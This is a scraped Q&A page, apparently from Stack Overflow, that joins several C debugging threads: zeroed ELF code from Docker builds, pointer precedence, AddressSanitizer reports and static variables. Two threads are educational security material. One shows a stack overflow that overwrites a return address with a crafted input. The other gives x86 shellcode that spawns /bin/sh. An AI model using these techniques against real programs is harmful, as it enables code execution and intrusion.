GCC produces an empty _start function - c

I'm running GCC Alpine 9.3.0 in Docker Desktop Community 2.4.0.0 (Docker engine 19.03.13). Every now and then, GCC will build an executable that throws a segmentation fault. The segmentation fault occurs at the very beginning of the program's execution. Whenever this happens, I just recompile the code without changing anything in it or my Makefile, and that fixes the issue.
Examining the executable with objdump --disassemble --disassemble-zeroes --full-contents I noticed that whenever I get a segmentation fault the _start and _start_c functions are empty:
0000000000001068 <_start>:
1068: 00 00 add %al,(%rax)
106a: 00 00 add %al,(%rax)
106c: 00 00 add %al,(%rax)
106e: 00 00 add %al,(%rax)
1070: 00 00 add %al,(%rax)
1072: 00 00 add %al,(%rax)
1074: 00 00 add %al,(%rax)
1076: 00 00 add %al,(%rax)
1078: 00 00 add %al,(%rax)
107a: 00 00 add %al,(%rax)
107c: 00 00 add %al,(%rax)
000000000000107e <_start_c>:
107e: 00 00 add %al,(%rax)
1080: 00 00 add %al,(%rax)
1082: 00 00 add %al,(%rax)
1084: 00 00 add %al,(%rax)
1086: 00 00 add %al,(%rax)
1088: 00 00 add %al,(%rax)
108a: 00 00 add %al,(%rax)
108c: 00 00 add %al,(%rax)
108e: 00 00 add %al,(%rax)
1090: 00 00 add %al,(%rax)
1092: 00 00 add %al,(%rax)
1094: 00 00 add %al,(%rax)
1096: 00 00 add %al,(%rax)
1098: 00 00 add %al,(%rax)
109a: 00 00 add %al,(%rax)
109c: 00 00 add %al,(%rax)
109e: 00 00 add %al,(%rax)
10a0: 00 00 add %al,(%rax)
Compare that to the assembly when the executable does work:
0000000000001068 <_start>:
1068: 48 31 ed xor %rbp,%rbp
106b: 48 89 e7 mov %rsp,%rdi
106e: 48 8d 35 b3 2d 00 00 lea 0x2db3(%rip),%rsi # 3e28 <_DYNAMIC>
1075: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
1079: e8 00 00 00 00 callq 107e <_start_c>
000000000000107e <_start_c>:
107e: 48 8b 37 mov (%rdi),%rsi
1081: 48 8d 57 08 lea 0x8(%rdi),%rdx
1085: 45 31 c9 xor %r9d,%r9d
1088: 4c 8d 05 d1 03 00 00 lea 0x3d1(%rip),%r8 # 1460 <_fini>
108f: 48 8d 0d 6a ff ff ff lea -0x96(%rip),%rcx # 1000 <_init>
1096: 48 8d 3d d7 01 00 00 lea 0x1d7(%rip),%rdi # 1274 <main>
109d: e9 9e ff ff ff jmpq 1040 <__libc_start_main#plt>
Questions
What might be causing this? Is there a way I could prevent it?
Update
I tried to compile the same code on my Mac (without using Docker). I ran a script that compiled and ran the code 1000 times and it worked every single time. If I try to compile the code in Docker it fails after the fourth or fifth run (sometimes it even failed during the first try).
I also tried to compile the same code using a Ubuntu 18.04 container with glibc 2.27 installed, but I observed the same issues as I did in Alpine, so it doesn't seem to be a MUSL or Alpine-specific problem.
The problem does not seem to be related to GCC; I used clang 6.0.0-1ubuntu2 inside the Ubuntu Docker container and observed the same issue.
To rule out any hardware issues I used an AWS Ubuntu 20.04.1 virtual machine to run Docker 19.03.13 on top of it and compile the same code. Here I didn't observe any issues. Therefore, it seems that the issue is somehow limited to my Macbook running Docker, but I haven't been able to prove that it's a hardware issue.
Minimal reproducible example
I tried to reduce the code to a simpler example but for some reason then I won't have this problem (or at least I haven't seen it). So this is the smallest example that (sometimes) results in a segmentation fault:
ex1.c
#include <stdio.h>
void DoNothing(int x) {
printf("I'm inside %s\n", __FUNCTION__);
printf("%d is stored at %p\n", x, &x);
x += 1;
printf("x is now %d\n", x);
}
void DoSomething(int* p) {
printf("I'm inside %s\n", __FUNCTION__);
printf("%d is stored at %p\n", *p, p);
*p += 1;
printf("x is now %d\n", *p);
}
int main()
{
int x = 101;
int* p = &x;
printf("%d is stored at address %p\n", x, &x);
printf("%d is stored at address %p\n", *p, p);
printf("%d is stored at address %p\n"
" which is the same as %p\n", x, p, &x);
printf("%d is stored at %p\n", x, &x);
DoNothing(x);
printf("but here in %s, x is %d\n", __FUNCTION__, x);
DoSomething(p);
printf("now back in %s, x is %d\n", __FUNCTION__, x);
x = 101;
int** q = &p;
printf("x equals %d == %d == %d\n", x, *p, **q);
printf("x is at %p == %p == %p\n", &x, p, *q);
printf("p equals %p == %p == %p\n", &x, p, *q);
printf("p is at %p == %p\n", &p, q);
printf("q equals %p == %p\n", &p, q);
printf("q is at %p\n", &q);
return 0;
}
Makefile
.PHONY: clean
CFLAGS=-Wall -Werror -Wextra -std=c99 -g
all:
#mkdir -p build
gcc $(CFLAGS) -o build/ex ex1.c
clean:
rm -f build/*
Dockerfile
FROM alpine:3.12.0
RUN apk add \
cmake=3.17.2-r0 \
g++=9.3.0-r2 \
gcc=9.3.0-r2 \
gdb=9.2-r0 \
libc-dev=0.7.2-r3 \
make=4.3-r0
run.sh
docker run \
--rm \
-i \
-t \
-v $(pwd):/home \
-w '/home' \
ccompiler:$VERSION
To trigger the error, I use this script that compiles the code up to 1000 times:
keep_building.sh
#!/bin/bash
for i in {1..1000};
do
echo $i
make
./build/sample
if [ $? -ne 0 ];
then
echo $i
exit 1
fi
#sleep 5
done

The file you posted is badly corrupted. Not just _start, but the whole program headers table, needed to load and execute the ELF file, has been overwritten with zeros. I strongly suspect you have bad RAM, an overclocked CPU, or some other hardware fault causing this kind of corruption; there is not likely any software-level explanation for it.

Related

Increment pointer address and value in C

int main (void){
int num1=2;
int *pnum=NULL;
pnum=&num1;
*pnum++;
printf("%d",*pnum);
}
why does this code print the address, not the value? Doesn't * dereference the pnum?
Check the precedence of operators: postfix unary operators bind tighter than prefix unary operators, so *pnum++ is equivalent to *(pnum++), not to (*pnum)++.
pnum++ increments the pointer pnum and returns the old value of pnum. Incrementing a pointer makes it point to the next element of an array. Any variable can be treated as an array of one element, so pnum points to the element after the first in the one-element array located where num1 is, which I'll call num1_array[1]. It is valid for a pointer to point to the end of an array, i.e. one position past the last element. It is not valid to dereference that pointer: that would be an array overflow. But it is valid to calculate the pointer. Constructing an invalid pointer in C is undefined behavior, even if you don't dereference it; however this pointer is valid.
*pnum++ dereferences the old value of pnum. Since that was a pointer to num1, this expression is perfectly valid and its value is the value of num1. At this point, any halfway decent compiler would warn that the value is unused. If you didn't see this message, configure your compiler to print more warnings: unfortunately, many compilers default to accepting bad code rather than signal the badness. For example, with GCC or Clang:
$ gcc -Wall -Wextra -Werror a.c
a.c: In function ‘main’:
a.c:6:5: error: value computed is not used [-Werror=unused-value]
6 | *pnum++;
| ^~~~~~~
cc1: all warnings being treated as errors
The call to printf receives the argument *pnum. We saw before that at this point, pnum points to the end of the one-element array num1_array[1]. This pointer is valid, but since it points to the end of an object, dereferencing has undefined behavior. In practice, this usually either crashes or prints some garbage value that happens to be in a particular memory location. When you're debugging a program, there are tools that can help by making it more likely that an invalid pointer will cause a crash rather than silently using a garbage value. For example, with GCC or Clang, you can use AddressSanitizer:
$ export ASAN_OPTIONS=symbolize=1
$ gcc -Wall -Wextra -fsanitize=address a.c && ./a.out
a.c: In function ‘main’:
a.c:6:5: warning: value computed is not used [-Wunused-value]
6 | *pnum++;
| ^~~~~~~
=================================================================
==2498121==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fff15ae3e74 at pc 0x55d593978366 bp 0x7fff15ae3e30 sp 0x7fff15ae3e20
READ of size 4 at 0x7fff15ae3e74 thread T0
#0 0x55d593978365 in main (/tmp/stackoverflow/a.out+0x1365)
#1 0x7f525a1380b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#2 0x55d59397818d in _start (/tmp/stackoverflow/a.out+0x118d)
Address 0x7fff15ae3e74 is located in stack of thread T0 at offset 36 in frame
#0 0x55d593978258 in main (/tmp/stackoverflow/a.out+0x1258)
This frame has 1 object(s):
[32, 36) 'num1' (line 3) <== Memory access at offset 36 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/tmp/stackoverflow/a.out+0x1365) in main
Shadow bytes around the buggy address:
0x100062b54770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b54780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b54790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b547a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b547b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100062b547c0: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1[04]f3
0x100062b547d0: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b547e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b547f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b54800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100062b54810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2498121==ABORTING
This trace tells you:
That there was a buffer overflow in a local variable (stack-buffer-overflow).
That the overflowing access was an attempt to read 4 bytes (READ of size 4).
Some more information about the problematic address ([32, 36) 'num1'). You can see that the program tried to access memory just after num1.
The address of the problematic instruction (#0 0x55d593978365). You can set a breakpoint there in a debugger to examine what the program might be doing.
On most platforms, given your program, num1 is a variable on the stack, and the end of num1 is the address of the previous variable on the stack. This could be anything, depending on the details of how your compiler accesses memory. One of the many things this could be is pnum, if pnum and num1 happen to have the same size on your platform (this is typically the case on 32-bit platforms) and the compiler decides to put pnum just before num1 on the stack (this depends heavily on the compiler, the optimization level, and fine details of the program). So it is plausible for your program to print the address of pnum: not because *pnum somehow didn't invoke the dereference operator, but because your program has made pnum point to itself.
Postfix operators always have higher precedence than prefix operators in C. So *pnum++ is equivalent to *(pnum++) -- it increments the pointer, not the value pointed at.
You need (*pnum)++ or ++*pnum if you want to increment the pointed at value.
You need to put parenthesis around *pnum. Otherwise the address which the pointer points to is changed. pnum++ is pointer arithmetic and increments the pointer by the number equal to the size of the data type for which it is a pointer, in this case sizeof(int). This means it doesn't point to the correct value anymore and the program therefore prints “garbage” as mentioned by Eugene Sh. in the comments, because it dereferences the incremented pointer using *(pnum++).
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int num1 = 2;
int *pnum = &num1;
(*pnum)++; /* important */
printf("%d\n", *pnum);
return EXIT_SUCCESS;
}
When you write *pnum++; There, you change the address pnum is pointing. And incrementing it by one, we don't really know where it has started to point. As suggested above, it's referencing garbage right now.

Is there a solution to detect memory error in a C program?

I'm coding C lib functions and have a problem about the memory.
For the strcpy() function:
char *my_strcpy(char *str1, char *str2)
{
int i = 0;
for (; str2[i] != 0; i++)
str1[i] = str2[i];
str1[i] = 0;
return (str1);
}
With the Criterion test below:
#include <criterion/criterion.h>
char *my_strcpy(char *str1, char *str2);
Test(my_strcpy, in_allocated_string)
{
char *src = "Hello World";
char dest[11];
my_strcpy(dest, src);
cr_assert_str_eq(dest, "Hello World");
cr_assert_eq(dest, my_strcpy(dest, src));
}
The destination buffer is smaller than the source so it should not work... But it works. Valgrind or scan build don't give me any error, it compiles and runs without error...
A Makefile for compile and run with test:
SRC = code.c \
SRC_TEST = test.c \
LDFLAGS = -L./lib/my -lmy
OBJ = $(SRC:.c=.o)
CC = gcc
CFLAGS = -W -Wall -Wextra -Werror -fstack-protector -fstack-protector-all -fstack-protector-strong -Wstack-protector
NAME = libmy.a
all: $(NAME)
$(NAME): $(OBJ)
ar rc $# $^
test: $(SRC) $(SRC_TEST)
$(CC) -fprofile-arcs -ftest-coverage -Isrc/main -DMOCKING $(CFLAGS) $(shell pkg-config --libs --cflags criterion) $^ -o tests
./tests
clean:
rm -rf *.gcda *.gcno *.info $(OBJ)
fclean: clean
rm -f $(NAME)
rm -rf tests
re: fclean all
Is there a solution to detect memory error in a C program?
This C analyzer can tell you that there is something wrong when your function is misused:
https://taas.trust-in-soft.com/tsnippet/t/cf1e64df
It tells you, when applied to dest and src, that an invalid write happens inside your function at str1[i] = 0;.
Valgrind's Memcheck has some limitations regarding arrays allocated on the stack. Since it works with normally compiled binaries, it can't know the exact array sizes under certain circumstances.
clang's AddressSanitizer is better in this regard. If you compile with -fsanitize=address, you'll get the following error:
=================================================================
==15908==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdb7e06beb at pc 0x0000005286d2 bp 0x7ffdb7e06b40 sp 0x7ffdb7e06b38
WRITE of size 1 at 0x7ffdb7e06beb thread T0
#0 0x5286d1 in my_strcpy (/home/runner/.bin.tio+0x5286d1)
#1 0x52883d in main (/home/runner/.bin.tio+0x52883d)
#2 0x7ff3e3fae412 in __libc_start_main (/lib64/libc.so.6+0x24412)
#3 0x41b33d in _start (/home/runner/.bin.tio+0x41b33d)
Address 0x7ffdb7e06beb is located in stack of thread T0 at offset 43 in frame
#0 0x5286ff in main (/home/runner/.bin.tio+0x5286ff)
This frame has 1 object(s):
[32, 43) '.compoundliteral' <== Memory access at offset 43 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/runner/.bin.tio+0x5286d1) in my_strcpy
Shadow bytes around the buggy address:
0x100036fb8d20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8d60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100036fb8d70: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[03]f3 f3
0x100036fb8d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8d90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8da0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8db0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100036fb8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==15908==ABORTING

Buffer overflow , stack pointer manipulation using GDB

I have a simple problem in c which may be solved using GDB, but I am not able to solved it.
We have a main() function which calls another function, say A(). When function A() executes and returns, instead of returning to main() it goes to another function, say B().
I don't know what to do in A() so that return address will change.
Assuming, the OP wants to force a return from A() to B() instead of to main() from where A() was called before...
I always believed to know how this might happen but never tried by myself. So, I couldn't resist to fiddle a bit.
Manipulation of return can hardly be done portable as it exploits facts of the generated code which may depend on compiler version, compiler settings, platform, and whatever.
At first, I tried to find out some details about coliru which I planned to use for fiddling:
#include <stdio.h>
int main()
{
printf("sizeof (void*): %d\n", sizeof (void*));
printf("sizeof (void*) == sizeof (void(*)()): %s\n",
sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
return 0;
}
Output:
gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes
Live Demo on coliru
Next, I made a minimal sample to get an impression about the code which will be generated:
Source code:
#include <stdio.h>
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
}
int main()
{
puts("call A():");
A();
return 0;
}
Compiled with x86-64 gcc 8.2 and -O0:
.LC0:
.string "in B()"
B:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC0
call puts
nop
pop rbp
ret
.LC1:
.string "in A()"
A:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC1
call puts
nop
pop rbp
ret
.LC2:
.string "call A():"
main:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC2
call puts
mov eax, 0
call A
mov eax, 0
pop rbp
ret
Live Explore on godbolt
On Intel x86/x64:
call stores the return address on stack before jumping to the given address
ret pops the return address from stack into PC reg. again.
(Other CPUs might do this differently.)
Additionally, the
push rbp
mov rbp, rsp
is interesting as push stores something on stack as well while rsp is the register with current stack top address and rbp its companion which is usually used for relative addressing of local variables.
So, a local variable (which is addressed relative to rbp – if not optimized) might have a fix offset to the return address on stack.
So, I added some code to the first sample to come in touch:
#include <stdio.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
Output:
&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00
Live Demo on coliru
This is what I read from this:
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!
0x400649 is an address which is slightly higher than the address of main() (0x400613). Considering, that there was some code in main() prior the call of A() this makes perfectly sense.
So, if I want to manipulate the return address this has to happen at pI + 32:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
*(void**)(pI + 32) = (byte*)&B;
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
I.e. I "patch" the address of function B() as the return address into the stack.
Output:
&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()
Live Demo on coliru
Et voilà: in B().
Instead of assigning the address directly, the same could be achieved by storing a string with at least 40 chars into buffer (only 8 chars capacity):
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
// provoke buffer overflow vulnerability
printf("Input: "); fflush(stdout);
fgets(buffer, 40, stdin); // <- intentionally wrong use
// show result
putchar('\n');
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
Compiled and executed with:
$ gcc -std=c11 -O0 main.c
$ echo -e " \xa2\x06\x40\0\0\0\0\0" | ./a.out
To input the exact sequence of bytes by keyboard might be a bit difficult. Copy/paste might work. I used echo and redirection to keep things simple.
Output:
&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input:
in B()
Live Demo on coliru
Please, note that the input of 32 spaces (to align the return address "\xa2\x06\x40\0\0\0\0\0" to the intended offset) "destroys" all the internals of A() which are stored in this range. This might have fatal consequences for the stability of the process but, eventually, it's intact enough to reach B() and report that to console.

When static variables are created in c language

Here gdb does not stop at Line:4.
Next,
Without hitting the declaration line at Line:5, variable x is existing and initialized.
Next,
But here it shows out of scope (yes it should according to me).
Now, I have the following doubts regarding this particular instance of c program.
When exactly the memory for variable x in P1() gets created and initialized?
why gdb did not stop at static declaration statement in inside P1() in the first example?
If we call P1() again will the program control simply skip the declaration statement?
It has already been explained (in related topics linked in comments below question) how static variables work.
Here is actual code generated by a gcc for your p1 function (by gcc -c -O0 -fomit-frame-pointer -g3 staticvar.c -o staticvar.o) then disassembled with related source.
Disassembly of section .text:
0000000000000000 <p1>:
#include <stdio.h>
void p1(void)
{
0: 48 83 ec 08 sub $0x8,%rsp
static int x = 10;
x += 5;
4: 8b 05 00 00 00 00 mov 0x0(%rip),%eax # a <p1+0xa>
a: 83 c0 05 add $0x5,%eax
d: 89 05 00 00 00 00 mov %eax,0x0(%rip) # 13 <p1+0x13>
printf("%d\n", x);
13: 8b 05 00 00 00 00 mov 0x0(%rip),%eax # 19 <p1+0x19>
19: 89 c6 mov %eax,%esi
1b: bf 00 00 00 00 mov $0x0,%edi
20: b8 00 00 00 00 mov $0x0,%eax
25: e8 00 00 00 00 callq 2a <p1+0x2a>
}
2a: 90 nop
2b: 48 83 c4 08 add $0x8,%rsp
2f: c3 retq
So, as you see there is no code for declaration of x. GDB can only break on actual machine code instruction and as there is none, it breaks on next instruction (mov), which matches line 5.

shellcode executes /bin/sh but not ./abcde

I am trying to run some shellcode on a server where I dont have access to the shell, but I have access to my own executable bash script.
My shellcode looks like this:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
When I run it locally, I spawn a shell with the code. I can also run other commands such as /bin/ls... However, when I try to change /bin/sh in favor of ./abcde it wont run my executable.
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
What am I doing wrong? I am on a x86-32 machine..
EDIT:
To make it more clear, this is the scenario:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
unsigned char code1[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
int main(void){
void (*f)(void);
f = (void (*)(void))code; //works
f = (void (*)(void))code1; //Does NOT work
f();
}
Your program is not very portable as you include ia32 instructions in your strings. With some help from gdb it was easier to read:
(gdb) disassemble/r code,code1
Dump of assembler code from 0x804a040 to 0x804a080:
0x0804a040 <code+0>: eb 15 jmp 0x804a057 <code+23>
0x0804a042 <code+2>: 5b pop %ebx
0x0804a043 <code+3>: 31 c0 xor %eax,%eax
0x0804a045 <code+5>: 89 5b 08 mov %ebx,0x8(%ebx)
0x0804a048 <code+8>: 88 43 07 mov %al,0x7(%ebx)
0x0804a04b <code+11>: 8d 4b 08 lea 0x8(%ebx),%ecx
0x0804a04e <code+14>: 89 43 0c mov %eax,0xc(%ebx)
0x0804a051 <code+17>: 89 c2 mov %eax,%edx
0x0804a053 <code+19>: b0 0b mov $0xb,%al
0x0804a055 <code+21>: cd 80 int $0x80
0x0804a057 <code+23>: e8 e6 ff ff ff call 0x804a042 <code+2>
0x0804a05c <code+28>: 2f das
0x0804a05d <code+29>: 62 69 6e bound %ebp,0x6e(%ecx)
0x0804a060 <code+32>: 2f das
0x0804a061 <code+33>: 73 68 jae 0x804a0cb
0x0804a063 <code+35>: 00 00 add %al,(%eax)
0x0804a065: 00 00 add %al,(%eax)
0x0804a067: 00 00 add %al,(%eax)
0x0804a069: 00 00 add %al,(%eax)
0x0804a06b: 00 00 add %al,(%eax)
0x0804a06d: 00 00 add %al,(%eax)
0x0804a06f: 00 00 add %al,(%eax)
0x0804a071: 00 00 add %al,(%eax)
0x0804a073: 00 00 add %al,(%eax)
0x0804a075: 00 00 add %al,(%eax)
0x0804a077: 00 00 add %al,(%eax)
0x0804a079: 00 00 add %al,(%eax)
0x0804a07b: 00 00 add %al,(%eax)
0x0804a07d: 00 00 add %al,(%eax)
0x0804a07f: 00 eb add %ch,%bl
however a helpful compiler puts the code in a variable segment which will cause a segmentation fault when the processor jumps to the "string" adn tries to execute from it.
I think this is a similar question:
sys_execve system call from Assembly
A careful reading of the question reveals what is actually going on. Indeed the compiler will happily bork you by placing this in a variable region; however the OS platform targeted probably doesn't have NX enabled (enabling NX on arbitrary 32 bit process was a recipe for disaster for a long time as GCC extensions required the stack to be executable).
The actual problem is you don't have execute access to bash. Your ./abcde is a bash script by your own admission, so the loader interprets #!/bin/bash, goes to open /bin/bash and discovers you don't have x permissions and barfs. exec() returns -Esomething with unpredictable results when you run off the end of the shellcode.

Resources